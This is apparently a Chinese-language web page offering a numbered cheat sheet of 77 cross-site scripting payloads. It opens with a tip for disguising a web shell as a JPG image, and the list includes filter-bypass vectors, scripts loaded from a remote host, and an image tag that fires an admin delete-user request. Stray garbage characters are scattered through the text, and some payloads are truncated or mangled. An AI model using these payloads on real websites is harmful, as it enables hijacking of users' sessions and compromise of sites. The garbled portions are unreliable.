跨站图片shell
9 h1 q+ Q* e- x: FXSS跨站代码 <script>alert("")</script>" ^$ t0 P. }3 R; `: z
, k: X5 B: d! t2 d' h将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
' t' g9 o7 D0 @
, w, q8 ^$ j5 [/ z2 Z
6 e; e4 W0 L. w5 H# B, f- X# p' N6 s5 L* x# ^
1)普通的XSS JavaScript注入5 P& v" S$ ^. V# ~9 X
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 p) j4 X4 n- ^' C9 w! T1 N X
$ `, p6 e6 c1 o
(2)IMG标签XSS使用JavaScript命令
- C# p# f/ H) G8 E0 d2 E<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>. V3 Q/ i7 A! W; B R: A: m) J( X
: J7 s1 m( U1 D0 ^(3)IMG标签无分号无引号
1 e& E8 b2 Z3 X<IMG SRC=javascript:alert(‘XSS’)>1 j5 T* Q3 p2 ~. m" T2 h' t' Y0 R2 B
9 m% K* i! O0 ?(4)IMG标签大小写不敏感& Z0 T2 q$ {3 I7 A" l5 {
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>1 l. _0 N% w, {. {* {8 v( f! p- Z
$ s; [5 n# A4 B2 |% b; {, d& M
(5)HTML编码(必须有分号)
2 g) c) d7 j3 |" s+ k" N<IMG SRC=javascript:alert(“XSS”)>
0 F; j5 j* O* P6 R- _6 J* w9 R# q9 S9 v3 E! k% A4 A
(6)修正缺陷IMG标签: W$ j$ L! o# i+ b, V+ X! A
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>8 u, `9 a; ~$ U$ a6 g1 _4 F ~
3 s$ p5 K- `. ^
(7)formCharCode标签(计算器)
/ l* q6 D5 b" {' ^2 c! H1 w, w<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; z3 j3 B7 K5 _* J* S
/ X# i2 r [. n2 f(8)UTF-8的Unicode编码(计算器)
' l9 w2 T6 o" Q% D<IMG SRC=jav..省略..S')>: C1 j4 E" h) w
" `0 }0 y4 H; F1 U( K, ~* m: V
(9)7位的UTF-8的Unicode编码是没有分号的(计算器), A2 r' [/ ^$ g5 b
<IMG SRC=jav..省略..S')>- ~/ p$ E$ h; |8 s- w% m9 a0 i
1 c% E9 a- d! N. B" k3 }& a* |9 @(10)十六进制编码也是没有分号(计算器)
" b: w+ v3 s6 ?5 X P8 R) T<IMG SRC=java..省略..XSS')>
! _% Y9 ?& E' ~' i- l7 ^8 R8 h. Y# ]6 R6 \$ L
(11)嵌入式标签,将Javascript分开! _0 l& H4 C" G3 r% @. {
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 J! a3 @ a: o, }" M; U
4 z& A' A9 y) R$ f- D(12)嵌入式编码标签,将Javascript分开
' d& b- Y- r# I- B, k4 ?) N' b<IMG SRC=”jav ascript:alert(‘XSS’);”>
; i! G) Y3 K" V/ k1 W8 F& F, i9 {' A, h) Z/ D' n; e% A
(13)嵌入式换行符
) p$ O( s2 k8 o+ ^; l<IMG SRC=”jav ascript:alert(‘XSS’);”>* p/ s2 z' K7 w" b
( C" \9 M+ r* P7 W8 f: d+ a
(14)嵌入式回车
; h; R; k1 b$ H<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 K, S) i5 n6 Y& {+ B1 @. a3 `+ g7 C% A
(15)嵌入式多行注入JavaScript,这是XSS极端的例子* B4 U( H; n$ Z3 F) D: l) k* n
<IMG SRC=”javascript:alert(‘XSS‘)”>' w& P: f! t* K; k2 O1 T1 z
: P* R" i5 [4 s5 Z. y/ o
(16)解决限制字符(要求同页面)
2 Q' ]6 ]9 _: l& Y9 g<script>z=’document.’</script>2 {" a Z% t* a) h; m; l
<script>z=z+’write(“‘</script>
/ w) W( h. F1 L! o" H<script>z=z+’<script’</script>% \, F( m, N7 |8 c0 o
<script>z=z+’ src=ht’</script>
, G# ~( o+ E1 d0 k<script>z=z+’tp://ww’</script>
$ X% n5 l" s/ W: b<script>z=z+’w.shell’</script>. [7 q7 z h6 ~ _; c" m2 R9 S
<script>z=z+’.net/1.’</script>/ @) U: L; K* Q- T
<script>z=z+’js></sc’</script>
/ l R" F; a- g5 [# u<script>z=z+’ript>”)’</script>6 e2 e8 Y- I4 I3 O
<script>eval_r(z)</script>8 k1 a: A+ Q) P% W' W
9 x' _% K/ A7 S+ W8 m(17)空字符
! ]- L9 `5 j6 O# G; y( |2 g Sperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out. I$ `4 i) |' H& M7 v+ l* \
8 d" t6 d/ L8 q) z$ }% I; P(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用: ]) k0 b2 R" V5 K5 d) V3 b; E
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
# T' s, c/ d5 i2 X7 D6 [5 q8 L. [ I$ {9 T
(19)Spaces和meta前的IMG标签
' I5 ~/ d- Q) H) P+ j) x" w6 D5 H<IMG SRC=” javascript:alert(‘XSS’);”>' A4 s; Y, ^: S+ N9 J( J" P
* L I! _: z5 P! N" e(20)Non-alpha-non-digit XSS
' R$ o0 h" O' [+ g5 u<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
( O3 u% o( o5 W9 v( s1 V5 O
# {& p2 p! G" N+ u9 ], B4 ]1 t(21)Non-alpha-non-digit XSS to 2% o# \3 ^" j) j, @. s
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>& [5 U4 c- x& L( q
$ H, h% x" s7 x$ v(22)Non-alpha-non-digit XSS to 3- o" f" ?" E" q
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
3 A' `' H: W7 ^" E# x. W% f8 [* u( z9 b4 p; b0 T) T, a5 g
(23)双开括号/ S! q! |+ [. \2 q
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
/ x! c1 V1 d p# Y8 I$ V+ S& O( |$ H# m4 m' Z9 e' u
(24)无结束脚本标记(仅火狐等浏览器)- _4 K" Y5 W: P5 V* g
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ M6 ^8 I: ^, V" L( j5 Q; `- I6 V) E( y
(25)无结束脚本标记2
; q3 [/ M- M; ?) s0 [) q<SCRIPT SRC=//3w.org/XSS/xss.js>; X( j' Y% Q" O+ ?* O' e) l( o$ p
2 t8 p3 `, r0 E8 i- D2 E' }2 X% D- M
(26)半开的HTML/JavaScript XSS
) v4 |; t* y( q* F1 ^+ {<IMG SRC=”javascript:alert(‘XSS’)”
; T* J/ {' R1 H. q3 X7 Z" O0 a+ s$ ^# p7 L2 l& G; ]: a
(27)双开角括号
1 U: ]) e' v& y' V) k- v, \2 j; o<iframe src=http://3w.org/XSS.html <
% F" j9 D! `, s9 R" U, O7 h ^3 p- H( b6 N$ j! S: V
(28)无单引号 双引号 分号4 z0 p# d0 w4 l
<SCRIPT>a=/XSS/
}# R n$ B3 ?* M( K' J \: qalert(a.source)</SCRIPT>" t. S& f$ ]% u
+ R- f' b( @6 d, |; `. y
(29)换码过滤的JavaScript
! k. S# L8 I9 U5 D0 W/ W\”;alert(‘XSS’);//% |" ?6 A9 S3 k" \) g! |3 P. _
( e5 g% W7 p. z h6 L(30)结束Title标签
& L% Q* A4 I. Y: b' U</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>1 r' Y' v# [( o$ \6 t. H
# ]' a% E$ v1 H6 Y# m
(31)Input Image4 w: q- _( K, S& K, Y& ~
<INPUT SRC=”javascript:alert(‘XSS’);”>; [; O* z6 g' L7 O: |9 u
& U6 E7 y% ~. h _(32)BODY Image0 Q% C1 I( L! |) |
<BODY BACKGROUND=”javascript:alert(‘XSS’)”> y: v" a9 I( i! ?! @+ @9 I% x
! F4 F* Z4 N( `2 x5 g' P(33)BODY标签
% a! c& V& v, U4 g3 n# p- a<BODY(‘XSS’)>
$ m; V* v; _4 a* S4 x
: f. |/ F3 }1 M" M+ _9 f(34)IMG Dynsrc8 q" B8 p, `& R( s
<IMG DYNSRC=”javascript:alert(‘XSS’)”># q! ^& R% T9 }. v. E0 [
+ K6 y7 Y6 a( x; ~# t- f
(35)IMG Lowsrc% G9 P1 q0 Z8 x* u% |* y. C1 b
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
! d. d& e" a Q( s1 Y! U9 B& ?; ^* y% j6 ]
(36)BGSOUND
% c! U1 E0 m+ L) ^! F9 L: C+ ~. ~& x<BGSOUND SRC=”javascript:alert(‘XSS’);”>* T G8 k$ _4 _3 S' s
9 x/ b @. d& K- ^( w% ^0 d
(37)STYLE sheet. p( Q$ y3 F0 F- |$ q
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
% D8 V- h% R. c/ H0 z3 n2 ?
5 X& R% s; r% N+ o(38)远程样式表+ n- M! P$ R! {" T( j3 ]
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, p! x- ?* W, T8 |+ X- O: y
7 K$ s J+ H1 w8 R) M3 Y; M(39)List-style-image(列表式)
6 ^* I# E. F' r2 ]. r<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS" @' w- l V# U) d# }- S2 h: U4 p
6 C2 J" ?& s, i) G) T
(40)IMG VBscript
& F% k" A& r3 s$ ~% ]<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
) t( ?" s( o; {& ?0 r
1 r5 `* f0 y: E# R(41)META链接url1 R( y. E( e0 M# |; a! ^
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
8 y& u* X0 f0 T! V8 a) f: s! H: M4 b5 h2 x# V$ e0 P( g
(42)Iframe
& L: W) N4 I# L2 ]% w* x( b) H<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
* C9 A$ a6 J! T3 |(43)Frame
( Z2 I) k. g# X) o$ L<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
9 ]' z @" w( H5 l7 @$ J# b
/ {" H3 O, @& l3 V(44)Table- f& |0 k s, f$ ]
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>8 @# o, q2 K. z k3 o8 G5 [9 `
: p$ W/ U) h4 `(45)TD
; P$ w) p' R! ~* M) B R/ U' s<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
: K5 y& d L5 |0 T8 A
! J6 i0 y* Z' G/ K(46)DIV background-image3 K) P9 r2 u8 S, n. U# h4 M
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>4 l! a5 t' L7 F0 F0 m
4 l6 g; d3 J3 x9 s0 W: p(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
% s. h; @$ L- q8 n7 `! a<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
% u4 A8 C0 I9 F: C7 c$ A
V, {, `) j) |$ k+ U; \6 b(48)DIV expression
4 w9 Q1 }: w" Z6 Q1 ]7 b2 B<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
1 O, r6 H2 g2 F* |( E+ E; ?$ x% d* R' |( d' B. y
(49)STYLE属性分拆表达
R( {$ j" ]( Q; v" I<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
* T" T! |, X1 K$ w
$ r* Z* V3 J/ S. M(50)匿名STYLE(组成:开角号和一个字母开头)
' K8 i' n2 U8 O# @, i<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>" v: W2 Z; w( j; g
+ s1 q7 h/ r9 U H( R8 ^3 ~
(51)STYLE background-image
& I9 p& ]; d5 p<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
9 c- F5 i1 e: |; n4 ?) Z+ n9 h' C5 J- N; b! C
(52)IMG STYLE方式
4 n- a: _5 y& J3 R$ m% e9 Qexppression(alert(“XSS”))’>
4 P7 }$ V# {& X, Y7 R$ R
, [1 T% ?, w7 {" P& @(53)STYLE background
! _5 T$ ~3 U2 B* f* K$ E<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> @1 D% ?$ T$ O% K, V
0 L9 B7 ~, d6 l4 I(54)BASE
5 t; F$ d/ a. H8 z$ g! u<BASE HREF=”javascript:alert(‘XSS’);//”>
' N e9 q/ [ @: q6 ^/ |% \9 \
2 x& H' Q7 ^# U3 M7 M9 Y3 W(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
7 H ~- R- J/ B2 T8 j<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>7 B* C! r+ x( E! \- Q$ Y
5 N6 V4 p$ Y: k. C6 b' k1 y. c
(56)在flash中使用ActionScrpt可以混进你XSS的代码/ n6 R# l) y& J3 X9 ]# w
a=”get”;1 f% ^; X* f+ a! s
b=”URL(\”";3 L: \: L# m8 Q' W u# p) k
c=”javascript:”;
( ^) |) O9 ~' c# I" A2 U1 @& i% @d=”alert(‘XSS’);\”)”;
2 o3 O2 D& R9 veval_r(a+b+c+d);
) @* D7 i* g8 y% `! I
J, f* K p( f(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
8 p S! {6 u- y; q1 X R<HTML xmlns:xss>
' C& w2 c2 f3 Q7 | ]$ x' P, P<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>1 e# ]. o/ X3 b' p, B
<xss:xss>XSS</xss:xss>
! \) ~9 Y( T( M! I</HTML> N) M$ {: i0 I
% I4 \! R# Y, R O+ D(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
5 @( b/ y4 b+ j( T2 k+ k<SCRIPT SRC=””></SCRIPT>
; M# W v I- J+ m2 _# w$ i7 _7 N: u) _2 \; o" ]
(59)IMG嵌入式命令,可执行任意命令& j: \; d: m9 }+ K8 C/ {5 M4 }4 F
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
, x! ?; R) J* S! Q% v. r6 t5 X
# l* y) W3 m( Y! I, Y# _$ Z(60)IMG嵌入式命令(a.jpg在同服务器)
6 I2 `1 O/ ]' M2 M# PRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
$ l0 K. j; A3 L& R$ D9 }/ e3 _. c, g6 j0 F3 j
(61)绕符号过滤: e* u9 @% ?2 q8 e$ V/ P5 h; ^/ t
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>/ j% ~* z3 u9 @3 v9 R! I9 x1 _) Z
; [0 L6 ?0 M7 a6 X
(62)8 \5 y9 N- Y: B3 X) c: f
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
3 D3 z' |0 }" t
( C" ^6 H; B) d2 f6 Q(63)" z& }, B8 ]( Q- w; h
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
, H/ T1 x* Y2 a9 C, ^3 l0 Y- X7 O4 L0 s- S, L, E) I% {* t
(64)
- S {; H( P6 Q) t) [* G<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>, w5 i$ t9 i, t2 B' H
1 X9 O. m. O$ m' L5 N3 u(65)* G1 N5 | [( S
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
9 U/ |1 `9 n6 N2 H; h$ o7 _' ?9 h
# a9 j% [6 ]4 X, |$ z- w% c(66)5 F( |$ N6 K1 z+ c' L
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 y- w+ @! y r: _: f! P1 q# ?4 e" u# S: M9 y
(67)/ h) r: j" \6 ? W+ r d
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
/ K1 l- d3 _0 G
0 h2 H% H) l, r/ j9 d(68)URL绕行
/ O% H" {) q/ W<A HREF=”http://127.0.0.1/”>XSS</A>
; A; d' [3 o& P4 [$ L8 ]. n2 u7 p3 F2 C4 v
(69)URL编码9 ]: c$ W7 c6 ?* j9 s
<A HREF=”http://3w.org”>XSS</A>* t7 b: F! f2 {' X J6 g. F
% d0 N5 l: S1 [* }1 N2 F: A% `
(70)IP十进制
1 h( `/ f1 q% S( n& D/ y<A HREF=”http://3232235521″>XSS</A>& H- w- Z2 r( v, b5 `% [) g
% \3 S, _/ \. M9 W8 g( N, Z; O$ V
(71)IP十六进制
$ c1 v( Y+ O% M2 U2 `<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>$ p3 b$ e' f( v6 M' \
4 X, F* x) R3 P' n. ]
(72)IP八进制
. L9 E8 u1 A( Z<A HREF=”http://0300.0250.0000.0001″>XSS</A>
' _, Z% _6 T0 H! N1 a! ~0 L4 \, |3 M) d9 B
(73)混合编码
& C& V7 S6 ]6 s$ E<A HREF=”h
- k r1 v+ y D$ D9 w3 M6 i" Ktt p://6 6.000146.0×7.147/”">XSS</A>
5 v8 I) x6 E' n6 T7 l1 q( O- V1 F3 d5 H
(74)节省[http:]' l- Y) r0 s& H4 i/ e# y! K) M
<A HREF=”//www.google.com/”>XSS</A>; u* D+ i ]4 W/ q
, t( ^# v6 c, W
(75)节省[www]
$ i4 S o4 W# e4 l4 Y0 Y9 N, M<A HREF=”http://google.com/”>XSS</A>
4 p% c; ~% q' b$ b- A r8 V: [; X% v: I
(76)绝对点绝对DNS. S t& w! v1 q/ [. h7 X& ~8 |; c$ s
<A HREF=”http://www.google.com./”>XSS</A>
* F9 D3 y1 c# H( K. H7 F3 d j" u" r6 S! P
(77)javascript链接
! e$ X. E! x) j: b" c2 H" F<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>3 B/ I8 ^% K4 X1 g( a
|